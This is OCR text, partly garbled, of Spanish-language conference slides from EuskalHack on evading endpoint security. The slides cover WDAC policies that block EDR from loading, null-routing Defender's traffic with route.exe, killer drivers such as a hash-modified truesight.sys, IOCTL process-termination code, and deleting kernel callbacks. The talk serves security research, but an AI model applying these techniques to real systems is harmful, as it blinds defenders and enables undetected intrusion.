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Motivaciones

- Al eliminar los procesos antimalware podemos descargar cualquier
herramienta al sistema

- EL SOC (en principio) no recibira ninguna alerta de nuestras acciones

- No tenemos muchos amigos por lo que dedicamos el tiempo a investigar
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Un poco de historia sobre procesos protegidos

- Nacen en Windows Vista

- Se puede acceder a estos procesos desde un proceso | +ypedef struct Ps PROTECTION {

no privilegiado con muy pocos permisos union {
UCHAR Level;
. . struct {
- Windows 8.1 introduce PPL, se agrega a la estructura e g e o
EPROCESS el nivel de proteccion de cada proceso UCHAR Audit : 1;

UCHAR Signer : 4;
}s
b
} PS_PROTECTION, *PPS_PROTECTION;
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Un poco de historia sobre PPL

Protection level Value Signher Type
.. PS_PROTECTED_SYSTEM 0x72 WinSystem (7) Protected (2)
- Esto protege los procesos criticos del
. . .. PS_PROTECTED WINTCB 0x62 WinTcb (6) Protected (2)
sistemay evita que un administrador
. . . PS_PROTECTED WINDOWS 0x52 Windows (5) Protected (2)
pueda eliminar un proceso o realizar
. PS_PROTECTED_AUTHENTICODE 0x12 Authenticode (1) Protected (2)
un volcado de su memoria entre otras
PS_PROTECTED WINTCB_LIGHT 0x61 WinTcb (6) Protected Light (1)
cosas. :
PS_PROTECTED _WINDOWS LIGHT 0x51 Windows (5) Protected Light (1)
PS _PROTECTED LSA LIGHT 0x41 Lsa (4) Protected Light (1)
PS_PROTECTED ANTIMALWARE LIGHT 0x31 Antimalware (3) Protected Light (1)
PS_PROTECTED _AUTHENTICODE LIGHT Ox11 Authenticode (1) Protected Light (1)
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Desde el modo usuario ;se puede hacer algo?

Pues siy no.

Técnicas antiguas para volcar Isass.exe con PPL activado:

- PPLdump
- PPLfault

https://github.com/itm4n/PPLdump
https://github.com/gabriellandau/PPLFault

- PPLmedic 5 https://github.com/itm4n/PPLmedic
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WDAC (Control de Aplicaciones de Windows Defender)
- Permite especificar que aplicaciones estan autorizadas para ejecutarse en el sistema

- Permite definir politicas centralizadas con reglas estrictas para todos los equipos de una
organizacion

- Funciona junto con herramientas como Microsoft Defender for Endpoint, Intune y Group
Policy
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WDAC (Control de Aplicaciones de Windows Defender)

F O 0

WDAC Polic The Machine is Rebooted WDAC Policy Takes Effect
d and Stops EDR from Loading

is Placed on Disk
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WDAC (Control de Aplicaciones de Windows Defender)

&

Welcome

Select a task below to get started
# Home

4 xR )

Palicy Creator Policy Editor Policy Merger
Create a new base or supplemental Edit an existing policy on disk or Merge two existing policies into one
policy convert event logs to a policy
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WDAC (Control de Aplicaciones de Windows Defender)

Select a Base Template for the policy

Learn more about template polices [

Default Windows Mode Allow Microsoft Mode Signed and Reputable Mode

Default Windows Mode authorizes: Allow Microsoft Mode authorizes: Signed and Reputable Mode authorizes:
- Windows OS components - Windows OS components - Windows OS components
- Microsoft Store applications - Microsoft Store applications - Microsoft Store applications
- Office 365, OneDrive, Teams - Office 365, OneDrive, Teams - Office 365, OneDrive, Teams
- WHQL signed kernel drivers - WHQL signed kernel drivers - WHQL signed kernel drivers
- All Microsoft signed applications - All Microsoft signed applications

- Files with good reputation using ISG [

You can modify the policy name and location, or keep the default.

Policy Name: WindowsWorks_2025-06-18 |

Policy File Location: |C:'\Users'\'rvanc\Documents'\WindowsWor|<52[}25—[}6—18.xml | ‘ Browse ‘
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WDAC (Control de Aplicaciones de Windows Defender)

Configure Policy Template
Policy Rules

The paolicy rules are pre-set based on the template you have chosen. _ Advanced Options

Learn more about policy options (4

Advanced Boot Options Menu Managed Installer Boot Audit on Failure

Allow Supplemental Policies Require WHQL Disable Flight Signing

Disable Script Enforcement Update Policy without Rebooting Disable Runtime Filepath Rules

Enforce Store Applications Unsigned System Integrity Policy Dynamic Code Security

Hypervisor-protected Code Integrity (&' User Mode Code Integrity Invalidate EAs on Reboot

B0 008
8086060686
CHCRCALI N

Intelligent Security Graph Treat Revoked as Unsigned Require EV Signers
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WDAC (Control de Aplicaciones de Windows Defender)

Custom Rule Conditions

File Rules Select the rule type, browse for the reference file and choose whether to allow
or deny.

Rule Rule Scope: Usermode Rule | Kernel Rule

Conditions

Rule Action: @ Alow () Deny

il Rule Type: |F'ath

o

Exceptions For 3

(.5 ]
m =
[94]
(]
[ |
Mm M
LN
[ |
]
[
39
,
o -
i

-
=)

[ ]
T
Cul
1]
T
]
mh
[ ]

Reference File:

C:\Users\ivanc\Downloads'\ *

[ ] Use Custom Path

Browse

() Fle © Folder
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WDAC (Control de Aplicaciones de Windows Defender)

Custom Rule Conditions SiPolicy.p7b
File Rules Select the rule type, browse for the reference file and choose whether to allow ]
or deny. C:\Windows\System32\
Codelntegrity\
Rule Rule Scope: Usermode Rule [ | Kernel Rule
Conditions )
Rule Action: @ Alow () Deny
Rule Rule Type: |Fi|e Hash v|
Exceptions . . that is not siane

Reference File:

Browse

[ ] Use Custom Hash Values
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WDAC (Control de Aplicaciones de Windows Defender)

C (JJ > Search Results in System32 > Codelntegrity

I Tl Sort ~ =

Mame
B sk Manager msmpeng
Bl CiPolicies

B Tokens B Details

. driver.stl

B8 driversipolicy.p7hb
B VbsSiPolicy.pTh

B siPolicy.p7b
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A

A nivel de red tenemos otro problema...

Algunas soluciones conocidas:

https://github.com/senzee1984/EDRPrison
https://github.com/netero1010/EDRSilencer

Windows Filtering Platform (WFP)

- Proporciona APIs para interactuar con la red (filtrado y monitoreo de paquetes)
- Se puede usar de forma defensiva u ofensiva
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- Null Routing
Significa hacer que los paquetes no lleguen a ningln destino (se descartan)

Windows cuenta con un binario interesante: Route.exe
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ILista de interfaces
.02 U5 e2 6a 8e Microsoft Wi-Fi Direct Virtual Adapter
Microsoft Wi-Fi Direct Virtual Adapter #2
Realtek 8822CE Wireless LAN 802.1lac PCI-E NIC
Bluetooth Device (Personal Area Network)
Software Loopback Interface 1

Rutas activas:
Destino de red Mascara de red Puerta de enlace Interfaz Metrica
0.0. 0.0.0.0 192.168.1.1 192.168.1.134 50

127.0. 255.0.0.0 En vinculo 127. 331

127.0. 255.255.255.255 En vinculo 127. 331
127.255.255. 255.255.255.255 En vinculo 127. 331
192.168. 255.255.255.0 En vinculo .168. 306
192.168.1. 255.255.255.255 En vinculo .168. 306
192.168.1. 255.255.255.255 En vinculo .168. 306
224.0, 2U0.0.0. vinculo 127. 331
224.0.0. 2U40.0.0. vinculo
255.255.255. 255.255.255. vinculo
255.255.255. 255.255.255. vinculo

ONRFFRFNOOO
W e - -
o EooUFRGO®

HFORORREREROOOKM
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A nivel de red tenemos otro problema...

$>route.exe -p add <IP> mask 255.255.255.255 0.0.0.0 if <Lista Interfaces>

La opcidn -p es para que sea persistente (opcional)
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A nivel de red tenemos otro problema...

O GO
Mm M

o ca
o

Destino de r
A0 a6
3.8.8.8
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.255.255.255 6.0.0.0

Wi-Fi Direct Virtual Adapter
Wi-Fi Direct Virtual Adapter #2
k 8822CE Wireless LAN 802.1lac PCI-E NIC
Bluetooth Device (Personal Area MNetwork)
Loopback Interface 1

= Puerta de enlace Interfaz Métrica
AA AR 197 _1R2.1.1 1¢ ;

255.255.255 En vinculo

255 ¢ .9 vinculo

»5.255.255 vinculo

255.255.255 vinculo

|

.255.255.0 vinculo
.255.255 vinculo
vinculo
vinculo
vinculo

5

»5.255.255.255 vinculo

255.255.255 vinculo
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HIHD”H“-HMSthjE} ‘oute delete 8.85.8.8 ¢ 255.255.255.255

FLtﬂ
\WINDOWS\system32>

iendo ping a
5;4&5tn desde 8.8.8.8: bytes=32 13

Estadisticas de ping para
Paguetes: enviados = 1, recibidos = 1, perdidos =

(0% perdidos),
iempos aproximados de ida y vuelta en milisegundos:
Hlnlmn = 59ms, Maximo = 59ms, Media =
\WINDOWS\system32>
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LRAY /

3.8.8.8 con
a transmisi
transmis

Haciendo ping a 8.8.
en la
en la tranamla
en la transmis
Respuesta desde 8.8.8.8: by

EhtadlhtlLah de ping para 8.8

s TTL=118
ims TTL=118

3, perdidos = @
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Hnl\/

A nivel de red tenemos otro problema...

@echo

: Loop

route delete
route add

timeout /t >nul
goto loop

24
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A nivel de red tenemos otro problema...

w

Sin conexion a Internet

Prueba a:
e Comprobar los cables de red, el modem y el router
* Volver a conectarte a una red Wi-Fi
® FEjecutar Diagnosticos de red de Windows

DNS_PROBE_FINISHED _NO_INTERMNET
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Ventajas e inconvenientes

La ventaja de WFP es que podemos eliminar las conexiones de un proceso
conociendo Unicamente su nombre (ej: MsMpEng.exe)

Para usar Route.exe debemos conocer todas las IPs con las que se comunica
un proceso (lo cual es un reto) o bloquear todas las conexiones y 'whitelistear

solo algunas

Route.exe es un binario firmado por Microsoft ya instalado en el sistema
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Privilege Rings

Ivan Cabrera y Adrian Diaz

USER APPLICATIONS

DEVICE DRIVERS

DEVICE DRIVERS

KERNEL

HYPERVISOR

SMM

IA NEGATIVE RINGS
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Fundamentos de los Drivers en Windows

DEVICE_OBJEC anp.exe

Sysenter User Mode
Kernel Mode
DRIVER_OBJEC
IKKiFastCallEntry
v
/0 Manager
RF Request
Kernel Driver
Custom v
loctl HAL
Handler Kernel Mode
/ Hardware

Hardware
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1/0 Control Codes

-Un IOCTL (I/O Control Code) es un nimero de 32 bits que indica la operacion a
ejecutar en el driver.

- Los drivers definen qué I0CTLs soportan usando el macro CTL_CODE.

-Un IOCTL se encapsula dentro del IRP enviado al driver.

#define IOCTL_GET_VERSION CTL_CODE(FILE_DEVICE_UNKNOWN, » METHOD_BUFFERED, FILE_READ_ACCESS)
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[in] HANDLE hDevice,

[in] DWORD dwloControlCode,
[in, optional] LPVOID 1pInBuffer,

[in] DWORD nInBufferSize,
[out, optional] LPVOID 1pOutBuffer,
[in] DWORD nOutBufferSize,
[out, optional] LPDWORD 1pBytesReturned,
[in, out, optional] LPOVERLAPPED 1pOverlapped
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Busqueda en Virustotal con RetroHunt

uintl6(0) = and

(
imports(“nt
imports("ntoskrnl.
{ imports(“ntoskrnl.
imports(“nto
imports( oskrr
= "Detect drivers importing imports("n
imports(
imports(
imports(
and imports("ntc
. imports(
u1nt16( and imports(
MACHINE_AMD64 and ﬁggti
imports(

imports("ntoskrnl.exe", "NtOpenPr Ehnniel
imports(

imports("ntoskrnl.exe", "ZwOpenPr imports(
imports(
imports(
imports(

imports("ntoskrnl.exe", "NtTermin merﬁt*”~"“
. . imports
imports("ntoskrnl.exe", "ZwTermin ) and

imports("ntoskrnl.exe", "IoCr
imports("ntoskrnl.exe", '

> and for
[1].verified and not

and for
[i].verified and not [1].subject
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Filtrando Drivers en Windows 11 24H2

ﬁ D0ef3832bfBc5a a8ebeld0b3cd5adeff...
B oa1c1718 leZecb8dachdaf3dc92c665...

B 029b40939298¢1e0d 8b166eeddfch...

B 0z244dd8e7b98dcdbel

E Da52aa

B 0acco0edc7fdesdadal0ba043691 calilb. .

B 0affa544344d 3221£68b560c78ce0243f...

B oarrfa 7decbele10296!

B 0b0dcd54efd7i9c03c1828804e5d93 ded45. .

B 0b2e7e61d4b761869622c3

B 0b07b0fd54515e4fadaad00cecTa0
B 0babbf420750f4561634

B ob25f138

B 0b97ebadd3et8febb406e20
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System file
System file
System file
System file
Systemn file
System file
Systemn file

tem file
System file
system file
System file
systemn file
System file
System file
System file
System file
System file
Systemn file
System file
Systemn file

ywstem file

440 KB

298
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#define IRP_MJ_CREATE 0x00

. _ #define IRP_MJ CREATE_NAMED_PIPE ox01
Met0d0|0g|a de revers"]g #define IRP_MJ_CLOSE 0x02
#define IRP_MJ_READ ox03

#define IRP_MJ_WRITE Ox04

#define IRP_MJ_QUERY_INFORMATION ox05

#define IRP_MJ_SET_INFORMATION Ox06

efe . #define IRP_MJ_QUERY_EA ox07

1. Identificar Device Name wdeting TRP MI_SET EA oxon
#define IRP_MJ_FLUSH_BUFFERS 0x09

1. Buscar referenCiaS d la fu nCién #define IRP_MJ_QUERY_ VOLUME_INFORMATION @x@a

#define IRP_MJ_SET_VOLUME_INFORMATION @x@b

2. Identificar permiSOS del deVice #define IRP_MJ_DIRECTORY_CONTROL ox0c

#define IRP_MJ_FILE_SYSTEM_CONTROL oxed

Identificar Dispatch Table e |OCT L SRS ua oxoe

#define IRP_MJ_INTERNAL_DEVICE_CONTROL @xef

1. Buscar la Dispatch Fu nction #define IRP_MJ_SHUTDOWN ox10

#define IRP_MJ_LOCK_CONTROL ox11

. #define IRP_MJ_CLEANUP ox12

2. Extraer|OCTLs regIStradOS en | #define IRP_MJ_CREATE_MAILSLOT ox13
.- . #define IRP_MJ_QUERY_SECURITY ox14

3. Identlflcar “amadaS d WIﬂAPlS #define IRP_MJ_SET_SECURITY ox15
) ) ,oe #define IRP_MJ_POWER Ox16

3. Anallzar funCIOneS criticas #define IRP_MJ_SYSTEM_CONTROL Ox17
#define IRP_MJ_DEVICE_CHANGE ox18

#define IRP_MJ_QUERY_QUOTA 0x19

#define IRP_MJ_SET_QUOTA oxla

#define IRP_MJ_PNP ox1b

#define IRP_MJ_PNP_POWER IRP_MJ_PNP // Obsolete....
#define IRP_MJ_MAXIMUM_FUNCTION ox1b

Ivan Cabrera y Adrian Diaz EUSKALHACK SECURITY CONGRESS ViII 35



%) Endpoint Evasion: TTPs K

%W““” Y/ N s L@y %

# Symbols Q zwter x = PE~r Linear r High Level IL ~

Name Address = Sectlon Kind uint64_t killer_function( * argl) |

I0C __Palls IRP* IRP, * arg2)

Reversing Killer Driver e

rbx = sub_118f8B({&data_1d538, MasterIrp)
else if (IOCTL == Bxb4aBB138)
if (r14_.1 u== 4)

rax_16 = sub_1931c(MasterIrp, r14_1, &arg_18) rcess handle.
MTSTATUS _start(F goto label_18B29 )
else if (IOCTL == Bxbd4aBB13E8)
rax_2 sub_18a58()
else if (IOCTL == Bxb4aBB13c)
if (rax_2 == if (r12_1.d u== 8)
rax_2 = { rbx = not.d(sbb.d(B, B, sub_196fc({*MasterIrp) != B8)) & BxcBBEBBB1
else if (IOCTL == Bxb4aBB4B8)
if (rax_2 if (r12_1.d u= Bx22)
rax_? rbx = STATUS_INVALID_ PARAMETER
else
data_1d1E MmIsAddressValid(VirtualAddress: MasterIrp)
else if (IOCTL '= Bxb4aBa484)
data_1d188 = rbx = STATUS_INVALID_DEVICE_REQUEST xdle: process_handle,
return sub_17 else if (r12_1.d u= Bx18)
rbx = STATUS_INVALID_FARAMETER
else
rbx = killer_function(MasterIrp)
else if (IOCTL == BxbdaBBETH)
ExAcquireFastMutex(FastMutex: Edata_1d6d8)

88818435 return zx.q(rbx)
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PS C:\Users\stdbrd> |

Ll O Type here to search

Ivan Cabrera y Adrian Diaz
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[5]

File Options View Process Find Users Handle Help

HIK NV

Hicom::|ex| & || ] ]

I|] I || || [mame 1|

Process ‘ CPU‘ Private B)’lesl Working Sa‘ FID ‘ Description |CumDany Name ‘ Protection

o N 00 ZA6K  154716K

Il Handles DLLs [55] Threads

fine Neme Handie Object Address
ke >
ICPU Usage: 0.00%  Commit Charge: 21.27% Processes: 183 Physical Usage: 40.47%
- 7:31PM
A D x ESP
2 =4 241512025

.| ¢ N - a4 e
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‘ B Windows PowerShell X 9p = X
1

\ PS C:\Users\sudbrd>

- ' —_— = 1014 PM
= 2 Type here to search ] \' > A~ O E D dx EsP 32812005 a

I
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_ rDallTuzx-JHap'-."iewDfSectiDn{'_'-_-E—'_-_* argl, int32_t arg2, int64_t arg3, uint64_t arg4d)

N

N
4 e void var_b8
' @ \ Ende:_" inted_t rax_1 = ——Securit}"_CDDkiE A Zvar_bg
\¢ il void* var 58 = &var bs

3§fw“§/ 'f3 uint64_t i = arg4
NTSTATUS result

. if (arg2 u== 2)
1kd> !process @ @ System
PROCESS ffff810563c8c040
SessionId: none Cid: 004 Peb: 00000000 ParentCid: 0000
DirBase:[001ae@00| ObjectTable: ffff918632a20e00 HandleCount: 3424.

Image: System

1kd> 1m m nt PS C:\Users\suddbr\Desktop> .\ReadPrimitive.exe
Browse full module list [+] ntoskrnl PA : Ox100200000

A i [*] Scanning for System CR3
fffff8e4" 5bceoeee| ffffse4" 5 g
lkd> !vtop oporlMIbesMS [ - | Found SYSTEM CR3 : 0x1ae000

AR IS s asar e [ + | Export RVA of PsInitialSystemProcess: 0xdldaé0®
LA [ + ] ntoskrnl real VA Oxff+f£80U5bcOOOOO
Amd64VtoP: PDPE 000000023 fcoleme

Amd64VtoP: PDE ©00800023fedc6T0

Amd64VtoP: Large page mapped phys ©0000000100200000

Virtual address fffff8045bce@0e0 translates to physical address . 48,

' ProcessHandle: -ffffffffffffffff, &BaseAddress, ZeroBits: B8,
CommitSize: 8x1888, EZSectionOffset, EViewSize,
InheritDisposition: ViewUnmap, AllocationType: B, Win32Protect)
3 result_1 = result_2

if (result_2 s< STATUS_SUCCESS)
break
Ivan Cabrera y Adrian Diaz 23
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Modificacion de hash

truesight.sys 0

Description

This is a C# AV/EDR Killer using Rogue Anti-Malware Driver 3.3. This driver is not present in the loldrivers or Windows blocklist at the time of this
writing. The only reason I'm making this public is because the company has already published a fix in version 3.4, and Microsoft will likely block this
driver soon. This driver can be used in Windows 23H2 with HVCI enabled, loldrivers blocklist, or WDAC enabled. HVCl is designed to ensure the
integrity of code executed in the kernel, but it cannot protect against all possible vulnerabilities or actions that can be performed through drivers or
system interfaces.

« UUID: e0e93453-1007-4799-ad02-9b461b7e0398

* Created: 2023-11-10

« Author: ph4ntOmbyt3, Michael Haag

» Acknowledgement: |

“
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Modificacion de hash

Ventajas:
- Se puede cargar en Windows 11 24H2
- No esta blogqueado por HVCI

Contras:
- Sitruesight.sys toca el disco = pum
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00 01 02 03 04 05 06 07 08 09 0OA OB OC OD OE OF Texto decodificado | Inspector de datos

4D SA 90 00 03 00 00 00 04 00 00 FF FF 00 00 MZ......ue0s vy..

B8 00 00 00 00 00 00 0O 40 00 00 00 00 00 00 ,....... - —— 144 %P

00 00 00 00 00 00 00 00 00 00 00 00 00 uissusesiiesines omoooo

00 00 00 00 00 00 00 E8 00 00 00 .coccovsecsn:8,.. Int8 Ira: 112

rfE E 3:} : 00 i: 39 = ‘_j- 5 Uf 4 \:D 1 5-4 rm st B L VTR Ulnt8 Ira: 112

69 20 72 &F 7 6l 20 61l 6E 6E &F is program canno

74 20 62 €5 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS Int16 Ira; -24208

6D 6F 64 €5 2E OD OD OA 24 00 00 00 00 00 00 mode....S$....... Uint16 Ira: 41328

36 1 92 FO 72 70 FC A3 72 70 FC A3 72 70 FC A 6.’ 8rpufrpifrpist Int24 Ira: 41328

29 FF A2 76 70 FC A3 29 18 F8 77 70 FC A3 ).yevpif) .ocwpil Ulnt24 Ira: 41328

29 FD A2 71 ) FC A3 72 _ FD : FC A ).*_‘{cqp?‘.'fpyeSp'ff. Int32 Ira 41328

29 FA A2 75 FC A3 ES8 F9 FC A ) .Qcupife.uc|put

E8 1E 03 A3 73 70 FC A3 E8 1E FE ] 70 FC A3 &..Lspifé.bespit i lea: 41328

52 €3 72 70 FC A3 00 00 00 00 00 00 RiChIPHE........ Int64 lra: 7592186085744

00 00 00 00 00 00 ) 50 45 00 ) 64 86 08 0C Uint64 Ira: 17592186085744

7D DF ED €4 00 00O 00 00 00 FO 22 LEB128 Ira: -16

OB 02 OE 18 00 58 00 00 00 00 00 ULEB128 E 112

5% 2 = z S AnsiChar / char8_t P

¢ = = = _ WideChar / char16_t $

8F 8C 01 00 01 00 EO 41 @ 1 J JC Punto de cédigo UTF-8 p (U+0070)

UU 10 UU Uo U0 U0 U0 oo U0 TU 519) U

00 10 00 00 00 00 00 00 00 00 00 10 00 00 Orden de bytes
00000170 00 0O 00 00 00 00 00 00 S5C A2 00 00 28 00 00 © Little endian (0 Big endian
00000180 00 BO 00 00 EO 03 00 00 00 70 00 44 04 00 -
00000190 00 7E 00 00 CO 53 00 00 00 00 6C 00 00 [_J Base hexadecimal (para nimeros enteros)
esnlazamientolh): 110 Bloaueth): 110-14F Tamanao(h): 40 Sobreescribir
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/f@)‘ Endpoint Evasion: TTPs

e, s u,n ¢ /

IOCTL_TERMINATE ©x22e0u4

Modificacion de hash

main(int argc, char
ULONG_PTR output[1]
ULONG bytesReturned
DWORD lastError = 0;
HANDLE hDevice = CreateFileA(
DEVICE,
GENERIC_WRITE | GENERIC_READ,
e,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
)i

if (hDevice == INVALID_HANDLE_VALUE) {
lastError = GetlLastError();

printf("[-] Failed to open device. Error: %d (O0x%x)\n", lastError, lastError);
return 1;

printf("[+] Device handle obtained.\n");
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Modificacion
de hash

\@\)‘ Endpoint

vasion:

&

Administrador de tareas

Procesos

Rendimiento

Historial de aplicaciones
Aplicaciones de arranque
Usuarios

Detalles

Servicios

Q  msm

Detalles

+ Descargas

@ Nuevo ~ LX

| Galeria

@ ivan - Personal

Bl Escritorio
|
v Descargas
= Documentos
PR Imagenes
2 Musica

id Videos

Fo Ejecutar nueva tarea

[ ] i
ESTADO : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
COD_SALIDA WIN32 : @ (0x0)
X ¢ COD_SALIDA SERVICIO: @ (0x0)
PUNTO_COMPROB. : 0x0
— INDICA(IOF‘J_IMI(IO : Ox0
G (J > Descargq PID - 0
MARCAS
0 Al 7 5
¢ @b C:\Windows\System32>cd c:\Users\ivanc\Downloads
Nombre c:\Users\ivanc\Downloads>ConsoleApplicationl.exe 5148
[+] Device handle obtained.
hoy PID please :
[%) testssys 5148

+] DeviceIoControl succeeded.
D test.sys.bak

c:\Users\ivanc\Downloads>ConsoleApplicationl.exe

R eI et ey > [+ | Device handle obtained.
o PID please :

al principio de esta semana [N

+] DeviceIoControl succeeded.

c:\Users\ivanc\Downloads>ConsoleApplicationl.exe
+] Device handle obtained.

+] DeviceIoControl succeeded.

Ivan Cabrera y Adrian Diaz EUSKALHACK SECURITY CONGRESS VIII ..m



/f@)‘ Endpoint Evomon TTPs el

sgarass /S

IPS i \Users\sudbrd\Deskton>

Pbs ¢ iUsers\sudbrd\Desktnp} \gdru_enum_callbacks exe —proc
T+] ProcessNotifyRoutine array address:

\adrv 1ne. oxe

~delete OxffffaesumO8c2b7f
OxfffF+8026Ul4ecl2O

[{+] Registered Callbacks for ProcessNotifyRoutine:
Oxffffae8U0PO5051f | RealCallback: Oxfffff80263b390cH

[o]
[1]
[2]

Raw:
Raw:
Raw:

Oxffffae8U0Offblf | RealCallback:
Oxffffae8U008c2b7f | RealCallback:

[*] Deleting callback at index 2...
[+] Successfully deleted callback at slot 2

[3]
[4]
[5]
[6]
[7]
[8]
[9]
[a]
[b]

Raw:
Raw:
Raw:
Raw:
Raw:
Raw:
Raw:
Raw:

Raw:

Oxffffae8U008c2baf
Oxffffae8UBB8c2elf
OxffffaedUd032U49fUFf
Oxffffae8U032U4a27f
Oxffffae8Uun324aldbf
Oxffffae8UB32UaeTFf
Oxffffae8U@371bbaf
Oxffffae8UB@373b5ef
Oxffffae8U0372113F

RealCallback:
RealCallback:
RealCallback:
RealCallback:
RealCallback:
RealCallback:
RealCallback:
RealCallback:
RealCallback:

C:\Users\sddbrd\Desktop>whoami
nt authority\system

Oxfff+f802656Ff7070
OxfFff£80265Ff2+20

OxFfFff8025ffedebld
OxffFf£802665d8780
Oxfffff80266a9al1f0
Oxfffff80266b5d930
OxfFfff8026567+d90
OxFf+f+802672668a0
OxFfff£80268+f010cHO
OxFf+f£80265093cel
Oxfff+£8026c37c3b0

ntosext.sys
cng.sys
WdFilter.sys

FLTMGR.SYS
tcpip.sys
SysmonDrv.sys
iorate.sys
tl.dll
CLASSPNP.SYS
BasicRender.sys
ntosext.sys
BTHport.sys

yS

Ivan Cabrera y Adrian Diaz ~

EUSKALHACK SECURITY CONGRESS VI

7




Endpoint Evasion: TTPs ,.ﬂ' Mode

Resultados

- 16 killer drivers
- 5LPE
- 3 Directivas Memoria Fisica
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Endpoint Evasion: TTPs ,.ﬂ' Mode

Conclusiones

- Anivel de seguridad operacional (OPSEC) algunos EDRs pueden alertar
cuando su agente deja de estar activo
- Eliminar kernel callbacks + OPSEC
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IMUCHAS GRACIAS!
ESKERRIK ASKO!
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